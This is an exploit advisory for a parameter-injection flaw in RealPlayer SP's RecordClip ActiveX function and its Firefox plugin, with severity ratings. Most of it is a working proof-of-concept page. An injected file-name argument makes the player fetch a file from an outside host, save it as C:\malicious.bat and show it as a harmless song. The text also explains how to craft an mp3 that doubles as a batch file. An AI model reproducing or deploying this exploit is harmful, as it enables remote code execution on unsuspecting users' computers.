Real Networks RealPlayer SP 'RecordClip' Method Remote Code Execution

Credit: Sean de Regge
Risk: High
Local: No
Remote: Yes

CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

Sources: <html> <p> Written by Sean de Regge (seanderegge Exploit for the parameter injection bug in Realplayers RecordClip() activeX function and firefox plugin C:\Program Files\Real\RealPlayer\RecordingManager.exe has 2 interesting switches: /t will spoof the download of any file so you can make it look like it's downloading a normal mp3 file /f will make it download to any location on the disk instead of the realplayer downloads folder Restrictions: The extension on server side must be a valid media file (ie: .mp3) Realplayer does some checks on the file to see if it is a valid media file too, so we need to create a chimera file, which will parse as a valid mp3 file and a valid batch file. Best is to take a valid mp3 file and modify it in a hex editor to have your batch commands in the first couple of bytes. </p> <OBJECT ID="obj" WIDTH=0 HEIGHT=0 CLASSID="CLSID:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5"> </OBJECT> <embed type="audio/x-pn-realaudio-plugin" controls="ImageWindow" console="video1" src='http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3' width="240" height="180" autostart=true> </embed> <script> var file = 'http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3'; obj.RecordClip(file, "audio/mpeg3", "clipInfo"); </script> </html>


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